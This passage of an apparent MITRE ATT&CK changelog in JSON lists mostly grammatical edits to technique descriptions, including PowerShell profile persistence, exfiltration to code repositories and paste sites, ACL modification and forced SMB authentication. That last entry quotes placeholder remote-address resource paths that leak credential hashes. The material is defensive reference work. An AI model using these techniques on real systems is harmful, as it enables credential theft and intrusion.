"source_name": "ESET Turla PowerShell May 2019",
"description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
"url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"
},
{
"source_name": "Microsoft About Profiles",
"description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.",
"url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Allen DeRyke, ICE",
"Matt Green, @mgreen27"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:53:09.847000+00:00\", \"old_value\": \"2025-10-24 17:48:24.124000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\\n\\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.(Citation: Microsoft About Profiles) \\n\\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched.(Citation: ESET Turla PowerShell May 2019) \\n\\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.(Citation: Wits End and Shady PowerShell Profiles)\", \"old_value\": \"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\\n\\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \\n\\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \\n\\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,7 @@\\n Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\\n \\n-[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \\n+[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.(Citation: Microsoft About Profiles) \\n \\n-Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \\n+Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched.(Citation: ESET Turla PowerShell May 2019) \\n \\n-An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)\\n+An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.(Citation: Wits End and Shady PowerShell Profiles)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][3]\": {\"source_name\": \"Malware Archaeology PowerShell Cheat Sheet\", \"description\": \"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.\", \"url\": \"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf\"}, \"root['external_references'][5]\": {\"source_name\": \"Microsoft Profiles\", \"description\": \"Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.\", \"url\": \"https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles\"}}}",
"previous_version": "1.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain persistence and elevate privileges by e | t | 1 | Adversaries may gain persistence and elevate privileges by e |
| > | xecuting malicious content triggered by PowerShell profiles. | > | xecuting malicious content triggered by PowerShell profiles. | ||
| > | A PowerShell profile (<code>profile.ps1</code>) is a scrip | > | A PowerShell profile (<code>profile.ps1</code>) is a scrip | ||
| > | t that runs when [PowerShell](https://attack.mitre.org/techn | > | t that runs when [PowerShell](https://attack.mitre.org/techn | ||
| > | iques/T1059/001) starts and can be used as a logon script to | > | iques/T1059/001) starts and can be used as a logon script to | ||
| > | customize user environments. [PowerShell](https://attack.m | > | customize user environments. [PowerShell](https://attack.m | ||
| > | itre.org/techniques/T1059/001) supports several profiles dep | > | itre.org/techniques/T1059/001) supports several profiles dep | ||
| > | ending on the user or host program. For example, there can b | > | ending on the user or host program. For example, there can b | ||
| > | e different profiles for [PowerShell](https://attack.mitre.o | > | e different profiles for [PowerShell](https://attack.mitre.o | ||
| > | rg/techniques/T1059/001) host programs such as the PowerShel | > | rg/techniques/T1059/001) host programs such as the PowerShel | ||
| > | l console, PowerShell ISE or Visual Studio Code. An administ | > | l console, PowerShell ISE or Visual Studio Code. An administ | ||
| > | rator can also configure a profile that applies to all users | > | rator can also configure a profile that applies to all users | ||
| > | and host programs on the local computer. (Citation: Microso | > | and host programs on the local computer.(Citation: Microsof | ||
| > | ft About Profiles) Adversaries may modify these profiles t | > | t About Profiles) Adversaries may modify these profiles to | ||
| > | o include arbitrary commands, functions, modules, and/or [Po | > | include arbitrary commands, functions, modules, and/or [Pow | ||
| > | werShell](https://attack.mitre.org/techniques/T1059/001) dri | > | erShell](https://attack.mitre.org/techniques/T1059/001) driv | ||
| > | ves to gain persistence. Every time a user opens a [PowerShe | > | es to gain persistence. Every time a user opens a [PowerShel | ||
| > | ll](https://attack.mitre.org/techniques/T1059/001) session t | > | l](https://attack.mitre.org/techniques/T1059/001) session th | ||
| > | he modified script will be executed unless the <code>-NoProf | > | e modified script will be executed unless the <code>-NoProfi | ||
| > | ile</code> flag is used when it is launched. (Citation: ESET | > | le</code> flag is used when it is launched.(Citation: ESET T | ||
| > | Turla PowerShell May 2019) An adversary may also be able | > | urla PowerShell May 2019) An adversary may also be able to | ||
| > | to escalate privileges if a script in a PowerShell profile i | > | escalate privileges if a script in a PowerShell profile is | ||
| > | s loaded and executed by an account with higher privileges, | > | loaded and executed by an account with higher privileges, su | ||
| > | such as a domain administrator. (Citation: Wits End and Shad | > | ch as a domain administrator.(Citation: Wits End and Shady P | ||
| > | y PowerShell Profiles) | > | owerShell Profiles) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may steal data by exfiltrating it over a symmetr | t | 1 | Adversaries may steal data by exfiltrating it over a symmetr |
| > | ically encrypted network protocol other than that of the exi | > | ically encrypted network protocol other than that of the exi | ||
| > | sting command and control channel. The data may also be sent | > | sting command and control channel. The data may also be sent | ||
| > | to an alternate network location from the main command and | > | to an alternate network location from the main command and | ||
| > | control server. Symmetric encryption algorithms are those | > | control server. Symmetric encryption algorithms are those | ||
| > | that use shared or the same keys/secrets on each end of the | > | that use shared or the same keys/secrets on each end of the | ||
| > | channel. This requires an exchange or pre-arranged agreement | > | channel. This requires an exchange or pre-arranged agreement | ||
| > | /possession of the value used to encrypt and decrypt data.(C | > | /possession of the value used to encrypt and decrypt data.(C | ||
| > | itation: Exfiltration Over Symmetric Encrypted Non-C2 Protoc | > | itation: Exfiltration Over Symmetric Encrypted Non-C2 Protoc | ||
| > | ol) Network protocols that use asymmetric encryption often | > | ol) Network protocols that use asymmetric encryption often | ||
| > | utilize symmetric encryption once keys are exchanged, but ad | > | utilize symmetric encryption once keys are exchanged, but ad | ||
| > | versaries may opt to manually share keys and implement symme | > | versaries may opt to manually share keys and implement symme | ||
| > | tric cryptographic algorithms (ex: RC4, AES) vice using mech | > | tric cryptographic algorithms (ex: RC4, AES) vice using mech | ||
| > | anisms that are baked into a protocol. This may result in mu | > | anisms that are baked into a protocol. This may result in mu | ||
| > | ltiple layers of encryption (in protocols that are natively | > | ltiple layers of encryption (in protocols that are natively | ||
| > | encrypted such as HTTPS) or encryption in protocols that not | > | encrypted such as HTTPS) or encryption in protocols that are | ||
| > | typically encrypted (such as HTTP or FTP). | > | not typically encrypted (such as HTTP or FTP). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may exfiltrate data to a code repository rather | t | 1 | Adversaries may exfiltrate data to a code repository rather |
| > | than over their primary command and control channel. Code re | > | than over their primary command and control channel. Code re | ||
| > | positories are often accessible via an API (ex: https://api. | > | positories are often accessible via an API (ex: https://api. | ||
| > | github.com). Access to these APIs are often over HTTPS, whic | > | github.com). Access to these APIs is often over HTTPS, which | ||
| > | h gives the adversary an additional level of protection. Ex | > | gives the adversary an additional level of protection. Exf | ||
| > | filtration to a code repository can also provide a significa | > | iltration to a code repository can also provide a significan | ||
| > | nt amount of cover to the adversary if it is a popular servi | > | t amount of cover to the adversary if it is a popular servic | ||
| > | ce already used by hosts within the network. | > | e already used by hosts within the network. |
pastebin[.]com, are commonly used by developers to share code and other information. \n\nText storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\n\n**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlights access to code repositories via APIs.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1567/003",
"external_id": "T1567.003"
},
{
"source_name": "Pastebin EchoSec",
"description": "Ciarniello, A. (2019, September 24). What is Pastebin and Why Do Hackers Love It?. Retrieved April 11, 2023.",
"url": "https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Harun K\u00fc\u00dfner",
"David Zakson"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:27:51.749000+00:00\", \"old_value\": \"2025-04-15 19:59:01.716000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information. \\n\\nText storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\\n\\n**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlights access to code repositories via APIs.\", \"old_value\": \"Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information. \\n\\nText storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\\n\\n**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Text storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\\n \\n-**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.\\n+**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlights access to code repositories via APIs.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"David Zakson\"}}",
"previous_version": "1.1",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may exfiltrate data to text storage sites instea | t | 1 | Adversaries may exfiltrate data to text storage sites instea |
| > | d of their primary command and control channel. Text storage | > | d of their primary command and control channel. Text storage | ||
| > | sites, such as <code>pastebin[.]com</code>, are commonly us | > | sites, such as <code>pastebin[.]com</code>, are commonly us | ||
| > | ed by developers to share code and other information. Tex | > | ed by developers to share code and other information. Tex | ||
| > | t storage sites are often used to host malicious code for C2 | > | t storage sites are often used to host malicious code for C2 | ||
| > | communication (e.g., [Stage Capabilities](https://attack.mi | > | communication (e.g., [Stage Capabilities](https://attack.mi | ||
| > | tre.org/techniques/T1608)), but adversaries may also use the | > | tre.org/techniques/T1608)), but adversaries may also use the | ||
| > | se sites to exfiltrate collected data. Furthermore, paid fea | > | se sites to exfiltrate collected data. Furthermore, paid fea | ||
| > | tures and encryption options may allow adversaries to concea | > | tures and encryption options may allow adversaries to concea | ||
| > | l and store data more securely.(Citation: Pastebin EchoSec) | > | l and store data more securely.(Citation: Pastebin EchoSec) | ||
| > | **Note:** This is distinct from [Exfiltration to Code Repos | > | **Note:** This is distinct from [Exfiltration to Code Repos | ||
| > | itory](https://attack.mitre.org/techniques/T1567/001), which | > | itory](https://attack.mitre.org/techniques/T1567/001), which | ||
| > | highlight access to code repositories via APIs. | > | highlights access to code repositories via APIs. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify file or directory permissions/attribu | t | 1 | Adversaries may modify file or directory permissions/attribu |
| > | tes to evade access control lists (ACLs) and access protecte | > | tes to evade access control lists (ACLs) and access protecte | ||
| > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | ||
| > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | ||
| > | missions are commonly managed by ACLs configured by the file | > | missions are commonly managed by ACLs configured by the file | ||
| > | or directory owner, or users with the appropriate permissio | > | or directory owner, or users with the appropriate permissio | ||
| > | ns. File and directory ACL implementations vary by platform, | > | ns. File and directory ACL implementations vary by platform, | ||
| > | but generally explicitly designate which users or groups ca | > | but generally explicitly designate which users or groups ca | ||
| > | n perform which actions (read, write, execute, etc.). Windo | > | n perform which actions (read, write, execute, etc.). Windo | ||
| > | ws implements file and directory ACLs as Discretionary Acces | > | ws implements file and directory ACLs as Discretionary Acces | ||
| > | s Control Lists (DACLs).(Citation: Microsoft DACL May 2018) | > | s Control Lists (DACLs).(Citation: Microsoft DACL May 2018) | ||
| > | Similar to a standard ACL, DACLs identifies the accounts tha | > | Similar to a standard ACL, DACLs identify the accounts that | ||
| > | t are allowed or denied access to a securable object. When a | > | are allowed or denied access to a securable object. When an | ||
| > | n attempt is made to access a securable object, the system c | > | attempt is made to access a securable object, the system che | ||
| > | hecks the access control entries in the DACL in order. If a | > | cks the access control entries in the DACL in order. If a ma | ||
| > | matching entry is found, access to the object is granted. Ot | > | tching entry is found, access to the object is granted. Othe | ||
| > | herwise, access is denied.(Citation: Microsoft Access Contro | > | rwise, access is denied.(Citation: Microsoft Access Control | ||
| > | l Lists May 2018) Adversaries can interact with the DACLs u | > | Lists May 2018) Adversaries can interact with the DACLs usi | ||
| > | sing built-in Windows commands, such as `icacls`, `cacls`, ` | > | ng built-in Windows commands, such as `icacls`, `cacls`, `ta | ||
| > | takeown`, and `attrib`, which can grant adversaries higher p | > | keown`, and `attrib`, which can grant adversaries higher per | ||
| > | ermissions on specific files and folders. Further, [PowerShe | > | missions on specific files and folders. Further, [PowerShell | ||
| > | ll](https://attack.mitre.org/techniques/T1059/001) provides | > | ](https://attack.mitre.org/techniques/T1059/001) provides cm | ||
| > | cmdlets that can be used to retrieve or modify file and dire | > | dlets that can be used to retrieve or modify file and direct | ||
| > | ctory DACLs. Specific file and directory modifications may b | > | ory DACLs. Specific file and directory modifications may be | ||
| > | e a required step for many techniques, such as establishing | > | a required step for many techniques, such as establishing Pe | ||
| > | Persistence via [Accessibility Features](https://attack.mitr | > | rsistence via [Accessibility Features](https://attack.mitre. | ||
| > | e.org/techniques/T1546/008), [Boot or Logon Initialization S | > | org/techniques/T1546/008), [Boot or Logon Initialization Scr | ||
| > | cripts](https://attack.mitre.org/techniques/T1037), or taint | > | ipts](https://attack.mitre.org/techniques/T1037), or taintin | ||
| > | ing/hijacking other instrumental binary/configuration files | > | g/hijacking other instrumental binary/configuration files vi | ||
| > | via [Hijack Execution Flow](https://attack.mitre.org/techniq | > | a [Hijack Execution Flow](https://attack.mitre.org/technique | ||
| > | ues/T1574). | > | s/T1574). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may steal monetary resources from targets throug | t | 1 | Adversaries may steal monetary resources from targets throug |
| > | h extortion, social engineering, technical theft, or other m | > | h extortion, social engineering, technical theft, or other m | ||
| > | ethods aimed at their own financial gain at the expense of t | > | ethods aimed at their own financial gain at the expense of t | ||
| > | he availability of these resources for victims. Financial th | > | he availability of these resources for victims. Financial th | ||
| > | eft is the ultimate objective of several popular campaign ty | > | eft is the ultimate objective of several popular campaign ty | ||
| > | pes including extortion by ransomware,(Citation: FBI-ransomw | > | pes including extortion by ransomware,(Citation: FBI-ransomw | ||
| > | are) business email compromise (BEC) and fraud,(Citation: FB | > | are) business email compromise (BEC) and fraud,(Citation: FB | ||
| > | I-BEC) \"pig butchering,\"(Citation: wired-pig butchering) ban | > | I-BEC) \"pig butchering,\"(Citation: wired-pig butchering) ban | ||
| > | k hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocu | > | k hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocu | ||
| > | rrency networks.(Citation: BBC-Ronin) Adversaries may [Com | > | rrency networks.(Citation: BBC-Ronin) Adversaries may [Com | ||
| > | promise Accounts](https://attack.mitre.org/techniques/T1586) | > | promise Accounts](https://attack.mitre.org/techniques/T1586) | ||
| > | to conduct unauthorized transfers of funds.(Citation: Inter | > | to conduct unauthorized transfers of funds.(Citation: Inter | ||
| > | net crime report 2022) In the case of business email comprom | > | net crime report 2022) In the case of business email comprom | ||
| > | ise or email fraud, an adversary may utilize [Impersonation] | > | ise or email fraud, an adversary may utilize [Impersonation] | ||
| > | (https://attack.mitre.org/techniques/T1684/001) of a trusted | > | (https://attack.mitre.org/techniques/T1684/001) of a trusted | ||
| > | entity. Once the social engineering is successful, victims | > | entity. Once the social engineering is successful, victims | ||
| > | can be deceived into sending money to financial accounts con | > | can be deceived into sending money to financial accounts con | ||
| > | trolled by an adversary.(Citation: FBI-BEC) This creates the | > | trolled by an adversary.(Citation: FBI-BEC) This creates the | ||
| > | potential for multiple victims (i.e., compromised accounts | > | potential for multiple victims (i.e., compromised accounts | ||
| > | as well as the ultimate monetary loss) in incidents involvin | > | as well as the ultimate monetary loss) in incidents involvin | ||
| > | g financial theft.(Citation: VEC) Extortion by ransomware m | > | g financial theft.(Citation: VEC) Extortion by ransomware m | ||
| > | ay occur, for example, when an adversary demands payment fro | > | ay occur, for example, when an adversary demands payment fro | ||
| > | m a victim after [Data Encrypted for Impact](https://attack. | > | m a victim after [Data Encrypted for Impact](https://attack. | ||
| > | mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Ex | > | mitre.org/techniques/T1486)(Citation: NYT-Colonial) and [Exf | ||
| > | filtration](https://attack.mitre.org/tactics/TA0010) of data | > | iltration](https://attack.mitre.org/tactics/TA0010) of data, | ||
| > | , followed by threatening to leak sensitive data to the publ | > | followed by threatening to leak sensitive data to the publi | ||
| > | ic unless payment is made to the adversary.(Citation: Mandia | > | c unless payment is made to the adversary.(Citation: Mandian | ||
| > | nt-leaks) Adversaries may use dedicated leak sites to distri | > | t-leaks) Adversaries may use dedicated leak sites to distrib | ||
| > | bute victim data.(Citation: Crowdstrike-leaks) Due to the p | > | ute victim data.(Citation: Crowdstrike-leaks) Due to the po | ||
| > | otentially immense business impact of financial theft, an ad | > | tentially immense business impact of financial theft, an adv | ||
| > | versary may abuse the possibility of financial theft and see | > | ersary may abuse the possibility of financial theft and seek | ||
| > | king monetary gain to divert attention from their true goals | > | ing monetary gain to divert attention from their true goals | ||
| > | such as [Data Destruction](https://attack.mitre.org/techniq | > | such as [Data Destruction](https://attack.mitre.org/techniqu | ||
| > | ues/T1485) and business disruption.(Citation: AP-NotPetya) | > | es/T1485) and business disruption.(Citation: AP-NotPetya) |
file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\n\nAlternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of an NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\n\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1187",
"external_id": "T1187"
},
{
"source_name": "Rapid7",
"description": "Condon, Caitlin. (2022, April 24). PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains. Retrieved May 30, 2025.",
"url": "https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/"
},
{
"source_name": "Cylance Redirect to SMB",
"description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.",
"url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf"
},
{
"source_name": "GitHub Hashjacking",
"description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.",
"url": "https://github.com/hob0/hashjacking"
},
{
"source_name": "Microsoft Managing WebDAV Security",
"description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20100210125749/https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx"
},
{
"source_name": "Osanda Stealing NetNTLM Hashes",
"description": "Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.",
"url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/"
},
{
"source_name": "Didier Stevens WebDAV Traffic",
"description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.",
"url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/"
},
{
"source_name": "GitHub",
"description": "topotam. (2021, July 18). PetitPotam. PoC tool to coerce Windows hosts to authenticate to other machines. Retrieved May 30, 2025.",
"url": "https://github.com/topotam/PetitPotam"
},
{
"source_name": "US-CERT APT Energy Oct 2017",
"description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
"url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
},
{
"source_name": "Wikipedia Server Message Block",
"description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
"url": "https://en.wikipedia.org/wiki/Server_Message_Block"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Teodor Cimpoesu",
"Sudhanshu Chauhan, @Sudhanshu_C",
"Jiraput Thamsongkrah",
"Purinut Wongwaiwuttiguldej",
"Natthawut Saexu"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:21:12.635000+00:00\", \"old_value\": \"2025-10-24 17:49:16.134000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept that information.\\n\\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n\\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)\\n\\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)\\n\\nThere are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\\n\\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\\\\\[remote address]\\\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\\n\\nAlternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of an NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\\n\\n\", 